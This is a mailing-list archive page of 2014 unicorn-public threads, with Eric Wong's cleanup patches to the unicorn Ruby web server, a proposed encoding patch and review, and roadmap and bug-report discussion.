- rb_define_singleton_method(cHttpParser, "keepalive_requests=", set_ka_req, 1);
rb_define_singleton_method(cHttpParser, "max_header_len=", set_maxhdrlen, 1);
init_common_fields();
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index ab335ac..9167845 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -8,7 +8,6 @@ include Unicorn
class HttpParserNgTest < Test::Unit::TestCase
def setup
- HttpParser.keepalive_requests = HttpParser::KEEPALIVE_REQUESTS_DEFAULT
@parser = HttpParser.new
end
@@ -29,25 +28,6 @@ class HttpParserNgTest < Test::Unit::TestCase
assert_equal false, @parser.response_start_sent
end
- def test_keepalive_requests_default_constant
- assert_kind_of Integer, HttpParser::KEEPALIVE_REQUESTS_DEFAULT
- assert HttpParser::KEEPALIVE_REQUESTS_DEFAULT >= 0
- end
-
- def test_keepalive_requests_setting
- HttpParser.keepalive_requests = 0
- assert_equal 0, HttpParser.keepalive_requests
- HttpParser.keepalive_requests = nil
- assert HttpParser.keepalive_requests >= 0xffffffff
- HttpParser.keepalive_requests = 1
- assert_equal 1, HttpParser.keepalive_requests
- HttpParser.keepalive_requests = 666
- assert_equal 666, HttpParser.keepalive_requests
-
- assert_raises(TypeError) { HttpParser.keepalive_requests = "666" }
- assert_raises(TypeError) { HttpParser.keepalive_requests = [] }
- end
-
def test_connection_TE
@parser.buf << "GET / HTTP/1.1\r\nHost: example.com\r\nConnection: TE\r\n"
@parser.buf << "TE: trailers\r\n\r\n"
@@ -71,41 +51,11 @@ class HttpParserNgTest < Test::Unit::TestCase
"REQUEST_METHOD" => "GET",
"QUERY_STRING" => ""
}.freeze
- HttpParser::KEEPALIVE_REQUESTS_DEFAULT.times do |nr|
- @parser.buf << req
- assert_equal expect, @parser.parse
- assert @parser.next?
- end
- @parser.buf << req
- assert_equal expect, @parser.parse
- assert ! @parser.next?
- end
-
- def test_fewer_keepalive_requests_with_next?
- HttpParser.keepalive_requests = 5
- @parser = HttpParser.new
- req = "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n".freeze
- expect = {
- "SERVER_NAME" => "example.com",
- "HTTP_HOST" => "example.com",
- "rack.url_scheme" => "http",
- "REQUEST_PATH" => "/",
- "SERVER_PROTOCOL" => "HTTP/1.1",
- "PATH_INFO" => "/",
- "HTTP_VERSION" => "HTTP/1.1",
- "REQUEST_URI" => "/",
- "SERVER_PORT" => "80",
- "REQUEST_METHOD" => "GET",
- "QUERY_STRING" => ""
- }.freeze
- 5.times do |nr|
+ 100.times do |nr|
@parser.buf << req
assert_equal expect, @parser.parse
assert @parser.next?
end
- @parser.buf << req
- assert_equal expect, @parser.parse
- assert ! @parser.next?
end
def test_default_keepalive_is_off
@@ -664,28 +614,6 @@ class HttpParserNgTest < Test::Unit::TestCase
assert_equal "", @parser.buf
end
- def test_keepalive_requests_disabled
- req = "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n".freeze
- expect = {
- "SERVER_NAME" => "example.com",
- "HTTP_HOST" => "example.com",
- "rack.url_scheme" => "http",
- "REQUEST_PATH" => "/",
- "SERVER_PROTOCOL" => "HTTP/1.1",
- "PATH_INFO" => "/",
- "HTTP_VERSION" => "HTTP/1.1",
- "REQUEST_URI" => "/",
- "SERVER_PORT" => "80",
- "REQUEST_METHOD" => "GET",
- "QUERY_STRING" => ""
- }.freeze
- HttpParser.keepalive_requests = 0
- @parser = HttpParser.new
- @parser.buf << req
- assert_equal expect, @parser.parse
- assert ! @parser.next?
- end
-
def test_chunk_only
tmp = ""
assert_equal @parser, @parser.dechunk!
--
EW
^ permalink raw reply related [relevance 15%]
* [PATCH 2/4] remove mongrel.rubyforge.org references
2014-09-22 1:05 4% [PATCH 0/4] a few more minor cleanups pushed out Eric Wong
@ 2014-09-22 1:05 18% ` Eric Wong
2014-09-22 1:05 15% ` [PATCH 3/4] http: remove the keepalive requests limit Eric Wong
2014-09-22 1:05 11% ` [PATCH 4/4] http: reduce parser from 72 to 56 bytes on 64-bit Eric Wong
2 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-09-22 1:05 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
mongrel.rubyforge.org has been dead longer than rubyforge.org!
---
test/test_helper.rb | 4 ++--
test/unit/test_http_parser.rb | 4 ++--
test/unit/test_response.rb | 4 ++--
test/unit/test_server.rb | 4 ++--
4 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/test/test_helper.rb b/test/test_helper.rb
index c65f2f3..c4fe07a 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-# Copyright (c) 2005 Zed A. Shaw
+# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
# the GPLv2+ (GPLv3+ preferred)
#
-# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
+# Additional work donated by contributors. See git history
# for more information.
STDIN.sync = STDOUT.sync = STDERR.sync = true # buffering makes debugging hard
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 8d5b251..2251dcf 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-# Copyright (c) 2005 Zed A. Shaw
+# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
# the GPLv2+ (GPLv3+ preferred)
#
-# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
+# Additional work donated by contributors. See git history
# for more information.
require 'test/test_helper'
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index fcddc5e..bdca9f5 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-# Copyright (c) 2005 Zed A. Shaw
+# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
# the GPLv2+ (GPLv3+ preferred)
#
-# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
+# Additional work donated by contributors. See git history
# for more information.
require 'test/test_helper'
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index e5b335f..9c92bab 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-# Copyright (c) 2005 Zed A. Shaw
+# Copyright (c) 2005 Zed A. Shaw
# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
# the GPLv2+ (GPLv3+ preferred)
#
-# Additional work donated by contributors. See http://mongrel.rubyforge.org/attributions.html
+# Additional work donated by contributors. See git history
# for more information.
require 'test/test_helper'
--
EW
^ permalink raw reply related [relevance 18%]
* [PATCH 0/4] a few more minor cleanups pushed out
@ 2014-09-22 1:05 4% Eric Wong
2014-09-22 1:05 18% ` [PATCH 2/4] remove mongrel.rubyforge.org references Eric Wong
` (2 more replies)
0 siblings, 3 replies; 200+ results
From: Eric Wong @ 2014-09-22 1:05 UTC (permalink / raw)
To: unicorn-public
Not much going on other than killing old stuff and minor cleanups.
I'll probably give systemd a try soon and see if the
"unicorn_forever" script makes sense to bundle:
http://bogomips.org/unicorn-public/m/20130724031151.GA14534@dcvr.yhbt.net.txt
Since CoW-friendliness is important to unicorn users, I think we'll
always have to manage our own process forking.
For now, I think using the UNICORN_FD environment variable
(comma-delimited list of integer file descriptors) and matching "listen"
directives is enough to get started. Perhaps supporting something like:
listen :inherit
...can help DRY-up configurations so users won't have to specify
redundant listen directives. Ruby startup times are still horrific; so
I don't think anybody wants to use socket activation with on-demand
fork+exec of unicorn processes.
The following changes since commit f203eaae7ea84de9e974ea5dac2df97d664d8e61:
http_response: remove Status: header (2014-08-17 19:26:17 +0000)
are available in the git repository at:
git://bogomips.org/unicorn master
for you to fetch changes up to 4b2782a926d8f131b1e7382be35e3abb77bf4be5:
http: reduce parser from 72 to 56 bytes on 64-bit (2014-09-17 03:15:25 +0000)
----------------------------------------------------------------
Eric Wong (4):
remove RubyForge and Freecode references
remove mongrel.rubyforge.org references
http: remove the keepalive requests limit
http: reduce parser from 72 to 56 bytes on 64-bit
GNUmakefile | 7 ----
Rakefile | 44 ----------------------
ext/unicorn_http/unicorn_http.rl | 55 ++++++---------------------
test/test_helper.rb | 4 +-
test/unit/test_http_parser.rb | 4 +-
test/unit/test_http_parser_ng.rb | 80 ++++------------------------------------
test/unit/test_response.rb | 4 +-
test/unit/test_server.rb | 4 +-
unicorn.gemspec | 1 -
9 files changed, 26 insertions(+), 177 deletions(-)
^ permalink raw reply [relevance 4%]
* Re: Worker SIGABRT takes down all workers?
@ 2014-08-21 20:32 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-08-21 20:32 UTC (permalink / raw)
To: Jonathan del Strother; +Cc: unicorn-public
Jonathan del Strother <jon.delStrother@audioboo.fm> wrote:
> So, as far as I can tell, the SIGABRT in a worker causes all siblings
> workers to be reaped and restarted. Is that intended/expected?
> Shouldn't it just kill the single worker & restart that?
Not intended or expected. I cannot reproduce it by doing:
kill -ABRT $WORKER_PID
Can you?
Can you setup a small test case which reproduces the issue?
Is anything else running that could be sending signals to all workers?
Thanks for any more info you can provide.
^ permalink raw reply [relevance 2%]
* [PATCH 2/3] unicorn.gemspec: depend on test-unit 3.0
2014-08-17 2:33 2% more house-cleaning for unicorn 5 Eric Wong
@ 2014-08-17 2:33 15% ` Eric Wong
2014-08-17 2:33 15% ` [PATCH 3/3] http_response: remove Status: header Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2014-08-17 2:33 UTC (permalink / raw)
To: unicorn-public; +Cc: Ken Dreyer
test-unit 3 and minitest 5 will have equal support status as a
bundled gems when Ruby 2.2.0 is released in December 2014. These
bundled gems will appear in the user-oriented tarball installations,
but do not get installed by "make install" when installing Ruby
from SVN or git.
test-unit appears to be actively maintained and good at keeping
backwards compatibility even on a major version change, so this
means no code changes on our end. I am not convinced switching to
minitest is worth the effort.
Cc: Ken Dreyer <ktdreyer@ktdreyer.com>
---
unicorn.gemspec | 1 +
1 file changed, 1 insertion(+)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index b24b1ac..9456db2 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -37,6 +37,7 @@ Gem::Specification.new do |s|
s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
+ s.add_development_dependency('test-unit', '~> 3.0')
s.add_development_dependency('wrongdoc', '~> 1.8')
s.licenses = ["GPLv2+", "Ruby 1.8"]
--
EW
^ permalink raw reply related [relevance 15%]
* [PATCH 3/3] http_response: remove Status: header
2014-08-17 2:33 2% more house-cleaning for unicorn 5 Eric Wong
2014-08-17 2:33 15% ` [PATCH 2/3] unicorn.gemspec: depend on test-unit 3.0 Eric Wong
@ 2014-08-17 2:33 15% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2014-08-17 2:33 UTC (permalink / raw)
To: unicorn-public
Whatever compatibility reasons which existed in 2009 likely do not exist
now. Other servers (e.g. thin, puma) seem to work alright without it,
so there's no reason to waste precious bytes.
---
lib/unicorn/http_response.rb | 4 +---
test/unit/test_response.rb | 6 ------
2 files changed, 1 insertion(+), 9 deletions(-)
diff --git a/lib/unicorn/http_response.rb b/lib/unicorn/http_response.rb
index 083951c..cc027c5 100644
--- a/lib/unicorn/http_response.rb
+++ b/lib/unicorn/http_response.rb
@@ -24,14 +24,12 @@ module Unicorn::HttpResponse
# writes the rack_response to socket as an HTTP response
def http_response_write(socket, status, headers, body,
response_start_sent=false)
- status = CODES[status.to_i] || status
hijack = nil
http_response_start = response_start_sent ? '' : 'HTTP/1.1 '
if headers
- buf = "#{http_response_start}#{status}\r\n" \
+ buf = "#{http_response_start}#{CODES[status.to_i] || status}\r\n" \
"Date: #{httpdate}\r\n" \
- "Status: #{status}\r\n" \
"Connection: close\r\n"
headers.each do |key, value|
case key
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 85ac085..fcddc5e 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -38,7 +38,6 @@ class ResponseTest < Test::Unit::TestCase
http_response_write(out,'200', {}, [])
assert ! out.closed?
assert out.length > 0, "output didn't have data"
- assert_equal 1, out.string.split(/\r\n/).grep(/^Status: 200 OK/).size
end
def test_response_200
@@ -71,7 +70,6 @@ class ResponseTest < Test::Unit::TestCase
out = StringIO.new
http_response_write(out,200, {"X-Whatever" => "stuff"}, [])
assert ! out.closed?
- assert_equal 1, out.string.split(/\r\n/).grep(/^Status: 200 OK/i).size
end
def test_body_closed
@@ -91,9 +89,5 @@ class ResponseTest < Test::Unit::TestCase
assert ! out.closed?
headers = out.string.split(/\r\n\r\n/).first.split(/\r\n/)
assert %r{\AHTTP/\d\.\d 666 I AM THE BEAST\z}.match(headers[0])
- status = headers.grep(/\AStatus:/i).first
- assert status
- assert_equal "Status: 666 I AM THE BEAST", status
end
-
end
--
EW
^ permalink raw reply related [relevance 15%]
* more house-cleaning for unicorn 5
@ 2014-08-17 2:33 2% Eric Wong
2014-08-17 2:33 15% ` [PATCH 2/3] unicorn.gemspec: depend on test-unit 3.0 Eric Wong
2014-08-17 2:33 15% ` [PATCH 3/3] http_response: remove Status: header Eric Wong
0 siblings, 2 replies; 200+ results
From: Eric Wong @ 2014-08-17 2:33 UTC (permalink / raw)
To: unicorn-public
The only user-visible change would be the removal of the Status:
header from the HTTP response, but I doubt anybody would even
notice.
Eric Wong (3):
dev: remove isolate dependency
unicorn.gemspec: depend on test-unit 3.0
http_response: remove Status: header
^ permalink raw reply [relevance 2%]
* Re: Please move to github
2014-08-02 7:51 12% Gary Grossman
2014-08-02 7:54 0% ` Kapil Israni
@ 2014-08-02 8:50 2% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Eric Wong @ 2014-08-02 8:50 UTC (permalink / raw)
To: Gary Grossman; +Cc: unicorn-public, michael
Gary Grossman <gary.grossman@gmail.com> wrote:
> Hi Eric,
>
> I work with Michael, and this discussion sure got off on the
> wrong foot... we love unicorn and use it heavily, and just
> want to contribute back to it.
No worries, cultural differences happen. Thanks for following up.
> To detail the encoding problem we were trying to fix, unicorn
> uses rb_str_new in several places to create Ruby strings.
> For Ruby 1.9 and later, these strings are assigned ASCII-8BIT
> encoding.
>
> While the Rack specification doesn't dictate what encoding
> should be used for strings in the environment, many
> developers would probably expect the default external encoding
> setting in Encoding.default_external to be used.
Right, the Rack spec does not dictate this. Doing this out-of-spec has
the ability to break existing apps as well as compatibility with other
app servers.
What do other app servers do?
My main concern is having more different behavior between various Rack
servers servers, making it harder to switch between them.
Another concern is breaking apps which are already working around this
but work with non-UTF-8 encodings.
The rack-devel mailing list had a discussion on this in September 2010
and a decision was never reached. You can search the archives at:
http://groups.google.com/group/rack-devel
I've also saved the thread to a mbox at
http://80x24.org/rack-devel-encoding-2010.mbox.gz
since Google Groups archives are a bit painful to navigate.
Disclaimer: I am not an encoding expert, so for that reason I prefer
to let other Rack folks make the decision.
> Many Rails applications use UTF8 heavily. The use of ASCII-8BIT
> in the env can lead to Encoding::CompatibilityErrors being
> raised when a UTF8 string and ASCII-8BIT string are concatenated,
> which happens frequently when properties like request.url are
> referenced in erb templates. To get around these problems,
> an app would have to force encoding on the strings in the env
> manually. It seems a shame to do this in slower Ruby code when
> it could be done up front by unicorn.
Yes, this existing behavior sucks on UTF-8-heavy apps. I would rather
not add more unicorn-only options which make switching between servers
harder.
Do you have performance measurements for doing this as pure-Ruby
middleware vs your patch?
My dislike of lock-in also applies to app servers. Application-visible
differences like these should be avoided so people can switch between
servers, too.
So it should be best if there were a way to do this for all Rack
servers.
> We'd like to propose that unicorn use rb_external_str_new to
> make strings instead of rb_str_new.
>
> Perhaps you have your reasons for continuing to use rb_str_new
> but we figured we'd run this by you.
If the Rack spec mandated encodings, I would do it in a heartbeat.
> Subject: [PATCH] If unicorn is used with Ruby 1.9 or later, use
> rb_external_str_new instead of rb_str_new to create strings. The resulting
> strings will use the default external encoding. Continue using rb_str_new for
> older versions of Ruby.
A better, shorter, more direct subject would be:
Subject: use Encoding.default_external for header values
Commit message body is fine <snip>
> +#ifdef HAVE_RUBY_ENCODING_H
> +/* Use default external encoding for strings for Ruby 1.9+,
> + * fall back to rb_str_new when unavailable */
> +#define rb_str_new rb_external_str_new
> +#endif
This is too heavy-handed, as some strings (buffers) may
need to stay binary via rb_str_new. If we were to do this, it would
something like:
#ifdef HAVE_RUBY_ENCODING_H
# define env_val_new(ptr,len) rb_external_str_new((ptr),(len))
#else
# define env_val_new(ptr,len) rb_str_new((ptr),(len))
#endif
... And only making sure header values are set to external.
Last I checked the HTTP RFCs (it's been a while) header keys are
required to be US-ASCII-only (and our parser enforces that).
> + def test_encoding
> + if ''.respond_to?(:encoding)
> + client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
> + "Host: foo\r\n\r\n")
> + env = @request.read(client)
> + encoding = Encoding.default_external
> + assert_equal encoding, env['REQUEST_PATH'].encoding
> + assert_equal encoding, env['PATH_INFO'].encoding
> + assert_equal encoding, env['QUERY_STRING'].encoding
> + end
This would need to test and work with (and appropriately reject)
invalid requests with bad encodings, too.
^ permalink raw reply [relevance 2%]
* Re: Please move to github
2014-08-02 7:51 12% Gary Grossman
@ 2014-08-02 7:54 0% ` Kapil Israni
2014-08-02 8:50 2% ` Eric Wong
1 sibling, 0 replies; 200+ results
From: Kapil Israni @ 2014-08-02 7:54 UTC (permalink / raw)
Cc: unicorn-public
How do I unsubscribe from this email list?
On Sat, Aug 2, 2014 at 12:51 AM, Gary Grossman <gary.grossman@gmail.com>
wrote:
> Hi Eric,
>
> I work with Michael, and this discussion sure got off on the
> wrong foot... we love unicorn and use it heavily, and just
> want to contribute back to it.
>
> To detail the encoding problem we were trying to fix, unicorn
> uses rb_str_new in several places to create Ruby strings.
> For Ruby 1.9 and later, these strings are assigned ASCII-8BIT
> encoding.
>
> While the Rack specification doesn't dictate what encoding
> should be used for strings in the environment, many
> developers would probably expect the default external encoding
> setting in Encoding.default_external to be used.
>
> Many Rails applications use UTF8 heavily. The use of ASCII-8BIT
> in the env can lead to Encoding::CompatibilityErrors being
> raised when a UTF8 string and ASCII-8BIT string are concatenated,
> which happens frequently when properties like request.url are
> referenced in erb templates. To get around these problems,
> an app would have to force encoding on the strings in the env
> manually. It seems a shame to do this in slower Ruby code when
> it could be done up front by unicorn.
>
> We'd like to propose that unicorn use rb_external_str_new to
> make strings instead of rb_str_new.
>
> Perhaps you have your reasons for continuing to use rb_str_new
> but we figured we'd run this by you.
>
> Here's a proposed patch.
>
> Gary
>
> From befb01530c8d930ba53cc58b979ddf42a4c12565 Mon Sep 17 00:00:00 2001
> From: Gary Grossman <gary.grossman@gmail.com>
> Date: Sat, 2 Aug 2014 00:19:30 -0700
> Subject: [PATCH] If unicorn is used with Ruby 1.9 or later, use
> rb_external_str_new instead of rb_str_new to create strings. The resulting
> strings will use the default external encoding. Continue using rb_str_new
> for
> older versions of Ruby.
>
> Using the default external encoding instead of ASCII-8BIT for
> strings is more in line with developer expectations and will cause
> less unexpected bugs such as Encoding::CompatibilityErrors which
> result when, say, a UTF8 string and ASCII-8BIT string are
> concatenated together.
>
> Added a unit test to ensure that strings returned in the Rack
> environment conform to the default external encoding.
> ---
> ext/unicorn_http/ext_help.h | 6 ++++++
> test/unit/test_request.rb | 13 +++++++++++++
> 2 files changed, 19 insertions(+)
>
> diff --git a/ext/unicorn_http/ext_help.h b/ext/unicorn_http/ext_help.h
> index c87c272..6806f8e 100644
> --- a/ext/unicorn_http/ext_help.h
> +++ b/ext/unicorn_http/ext_help.h
> @@ -79,4 +79,10 @@ static int str_cstr_case_eq(VALUE val, const char *ptr,
> long len)
> #define STR_CSTR_CASE_EQ(val, const_str) \
> str_cstr_case_eq(val, const_str, sizeof(const_str) - 1)
>
> +#ifdef HAVE_RUBY_ENCODING_H
> +/* Use default external encoding for strings for Ruby 1.9+,
> + * fall back to rb_str_new when unavailable */
> +#define rb_str_new rb_external_str_new
> +#endif
> +
> #endif /* ext_help_h */
> diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
> index fbda1a2..0a105e0 100644
> --- a/test/unit/test_request.rb
> +++ b/test/unit/test_request.rb
> @@ -179,4 +179,17 @@ class RequestTest < Test::Unit::TestCase
> env['rack.input'].rewind
> res = @lint.call(env)
> end
> +
> + def test_encoding
> + if ''.respond_to?(:encoding)
> + client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
> + "Host: foo\r\n\r\n")
> + env = @request.read(client)
> + encoding = Encoding.default_external
> + assert_equal encoding, env['REQUEST_PATH'].encoding
> + assert_equal encoding, env['PATH_INFO'].encoding
> + assert_equal encoding, env['QUERY_STRING'].encoding
> + end
> + end
> +
> end
> --
> 1.9.1
>
>
>
--
Kapil
^ permalink raw reply [relevance 0%]
* Re: Please move to github
@ 2014-08-02 7:51 12% Gary Grossman
2014-08-02 7:54 0% ` Kapil Israni
2014-08-02 8:50 2% ` Eric Wong
0 siblings, 2 replies; 200+ results
From: Gary Grossman @ 2014-08-02 7:51 UTC (permalink / raw)
To: e; +Cc: unicorn-public, michael
Hi Eric,
I work with Michael, and this discussion sure got off on the
wrong foot... we love unicorn and use it heavily, and just
want to contribute back to it.
To detail the encoding problem we were trying to fix, unicorn
uses rb_str_new in several places to create Ruby strings.
For Ruby 1.9 and later, these strings are assigned ASCII-8BIT
encoding.
While the Rack specification doesn't dictate what encoding
should be used for strings in the environment, many
developers would probably expect the default external encoding
setting in Encoding.default_external to be used.
Many Rails applications use UTF8 heavily. The use of ASCII-8BIT
in the env can lead to Encoding::CompatibilityErrors being
raised when a UTF8 string and ASCII-8BIT string are concatenated,
which happens frequently when properties like request.url are
referenced in erb templates. To get around these problems,
an app would have to force encoding on the strings in the env
manually. It seems a shame to do this in slower Ruby code when
it could be done up front by unicorn.
We'd like to propose that unicorn use rb_external_str_new to
make strings instead of rb_str_new.
Perhaps you have your reasons for continuing to use rb_str_new
but we figured we'd run this by you.
Here's a proposed patch.
Gary
From befb01530c8d930ba53cc58b979ddf42a4c12565 Mon Sep 17 00:00:00 2001
From: Gary Grossman <gary.grossman@gmail.com>
Date: Sat, 2 Aug 2014 00:19:30 -0700
Subject: [PATCH] If unicorn is used with Ruby 1.9 or later, use
rb_external_str_new instead of rb_str_new to create strings. The resulting
strings will use the default external encoding. Continue using rb_str_new for
older versions of Ruby.
Using the default external encoding instead of ASCII-8BIT for
strings is more in line with developer expectations and will cause
less unexpected bugs such as Encoding::CompatibilityErrors which
result when, say, a UTF8 string and ASCII-8BIT string are
concatenated together.
Added a unit test to ensure that strings returned in the Rack
environment conform to the default external encoding.
---
ext/unicorn_http/ext_help.h | 6 ++++++
test/unit/test_request.rb | 13 +++++++++++++
2 files changed, 19 insertions(+)
diff --git a/ext/unicorn_http/ext_help.h b/ext/unicorn_http/ext_help.h
index c87c272..6806f8e 100644
--- a/ext/unicorn_http/ext_help.h
+++ b/ext/unicorn_http/ext_help.h
@@ -79,4 +79,10 @@ static int str_cstr_case_eq(VALUE val, const char *ptr, long len)
#define STR_CSTR_CASE_EQ(val, const_str) \
str_cstr_case_eq(val, const_str, sizeof(const_str) - 1)
+#ifdef HAVE_RUBY_ENCODING_H
+/* Use default external encoding for strings for Ruby 1.9+,
+ * fall back to rb_str_new when unavailable */
+#define rb_str_new rb_external_str_new
+#endif
+
#endif /* ext_help_h */
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index fbda1a2..0a105e0 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -179,4 +179,17 @@ class RequestTest < Test::Unit::TestCase
env['rack.input'].rewind
res = @lint.call(env)
end
+
+ def test_encoding
+ if ''.respond_to?(:encoding)
+ client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
+ "Host: foo\r\n\r\n")
+ env = @request.read(client)
+ encoding = Encoding.default_external
+ assert_equal encoding, env['REQUEST_PATH'].encoding
+ assert_equal encoding, env['PATH_INFO'].encoding
+ assert_equal encoding, env['QUERY_STRING'].encoding
+ end
+ end
+
end
--
1.9.1
^ permalink raw reply related [relevance 12%]
* Re: Please move to github
@ 2014-08-02 7:46 10% Gary Grossman
0 siblings, 0 replies; 200+ results
From: Gary Grossman @ 2014-08-02 7:46 UTC (permalink / raw)
To: e; +Cc: unicorn-public, michael
Hi Eric,
I work with Michael, and this discussion sure got off on the
wrong foot... we love unicorn and use it heavily, and just
want to contribute back to it.
To detail the encoding problem we were trying to fix, unicorn
uses rb_str_new in several places to create Ruby strings.
For Ruby 1.9 and later, these strings are assigned ASCII-8BIT
encoding.
While the Rack specification doesn't dictate what encoding
should be used for strings in the environment, many
developers would probably expect the default external encoding
setting in Encoding.default_external to be used.
Many Rails applications use UTF8 heavily. The use of ASCII-8BIT
in the env can lead to Encoding::CompatibilityErrors being
raised when a UTF8 string and ASCII-8BIT string are concatenated,
which happens frequently when properties like request.url are
referenced in erb templates. To get around these problems,
an app would have to force encoding on the strings in the env
manually. It seems a shame to do this in slower Ruby code when
it could be done up front by unicorn.
We'd like to propose that unicorn use rb_external_str_new to
make strings instead of rb_str_new.
Perhaps you have your reasons for continuing to use rb_str_new
but we figured we'd run this by you.
Here's a proposed patch.
From befb01530c8d930ba53cc58b979ddf42a4c12565 Mon Sep 17 00:00:00 2001
From: Gary Grossman <gary.grossman@gmail.com>
Date: Sat, 2 Aug 2014 00:19:30 -0700
Subject: [PATCH] If unicorn is used with Ruby 1.9 or later, use
rb_external_str_new instead of rb_str_new to create strings. The resulting
strings will use the default external encoding. Continue using rb_str_new
for
older versions of Ruby.
Using the default external encoding instead of ASCII-8BIT for
strings is more in line with developer expectations and will cause
less unexpected bugs such as Encoding::CompatibilityErrors which
result when, say, a UTF8 string and ASCII-8BIT string are
concatenated together.
Added a unit test to ensure that strings returned in the Rack
environment conform to the default external encoding.
---
ext/unicorn_http/ext_help.h | 6 ++++++
test/unit/test_request.rb | 13 +++++++++++++
2 files changed, 19 insertions(+)
diff --git a/ext/unicorn_http/ext_help.h b/ext/unicorn_http/ext_help.h
index c87c272..6806f8e 100644
--- a/ext/unicorn_http/ext_help.h
+++ b/ext/unicorn_http/ext_help.h
@@ -79,4 +79,10 @@ static int str_cstr_case_eq(VALUE val, const char *ptr,
long len)
#define STR_CSTR_CASE_EQ(val, const_str) \
str_cstr_case_eq(val, const_str, sizeof(const_str) - 1)
+#ifdef HAVE_RUBY_ENCODING_H
+/* Use default external encoding for strings for Ruby 1.9+,
+ * fall back to rb_str_new when unavailable */
+#define rb_str_new rb_external_str_new
+#endif
+
#endif /* ext_help_h */
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index fbda1a2..0a105e0 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -179,4 +179,17 @@ class RequestTest < Test::Unit::TestCase
env['rack.input'].rewind
res = @lint.call(env)
end
+
+ def test_encoding
+ if ''.respond_to?(:encoding)
+ client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
+ "Host: foo\r\n\r\n")
+ env = @request.read(client)
+ encoding = Encoding.default_external
+ assert_equal encoding, env['REQUEST_PATH'].encoding
+ assert_equal encoding, env['PATH_INFO'].encoding
+ assert_equal encoding, env['QUERY_STRING'].encoding
+ end
+ end
+
end
--
1.9.1
Gary
^ permalink raw reply related [relevance 10%]
* unicorn 5 roadmap
@ 2014-05-25 3:52 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-05-25 3:52 UTC (permalink / raw)
To: unicorn-public; +Cc: yahns-public
unicorn is over 5 years old, things are still kicking, but
has not changed much since it was first announced in 2009:
http://mid.gmane.org/20090211230457.GB22926@dcvr.yhbt.net [1]
So 5 will be the next major version, but there's nothing earth
shattering and probably nothing visible to the majority of users.
Almost all just internal housekeeping:
* (finally) remove Unicorn::HttpParser#reset
* switch to minitest5 (or test-unit2?)
* drop some things that were intended for Rainbows!
- keepalive_requests, not necessary with the MT/one-shot-based event
loops like yahns, this is only intended as a DoS mitigation measure for
single-threaded event loops (nginx) or pure-MT-based servers
- xftrust (long deprecated)
* cleanup tests, port shell script integration tests to shunit2?
(or making the tests pure Ruby is probably fine, I trust the stability
of the Ruby language more today than I did in 2009 with the painful
1.8->1.9 transition)
* extract terminal-friendly coverage output from yahns into a gem
and use it for unicorn.
Tangentially related things to do:
* reduce memory usage in Ruby so users may run more unicorns
* improve reverse proxy support in yahns so it may be an
alternative to nginx for unicorn users
What else?
[1] Supporting the project with only email is probably the only
reason I haven't given up after all these years.
^ permalink raw reply [relevance 2%]
* Re: [PATCH] tests: switch to minitest
2014-05-13 0:46 2% ` Ken Dreyer
@ 2014-05-13 1:13 4% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-05-13 1:13 UTC (permalink / raw)
To: Ken Dreyer; +Cc: unicorn-public, mongrel-unicorn
Ken Dreyer <ktdreyer@ktdreyer.com> wrote:
> I am seeing one failure with the final assert in
> TestSocketHelper#test_bind_listen_unix_rebind, but I don't think
> that's a result of this, right?
That's a new failure for me. Sorry about the lack of info in my
original response :x
I'm failing on minitest 5.3.3, 4.7.5 seems fine, in fact.
Below the output of "make -j8 test-unit V=1" on my machine (Ruby 2.1),
same failures on trunk, too (with minitest 5.3.3 installed)
:
: 1) Failure:
: TestSocketHelper#test_bind_listen_unix_rebind [test/unit/test_socket_helper.rb:123]:
: Failed assertion, no message given.
<snip>
: 1) Failure:
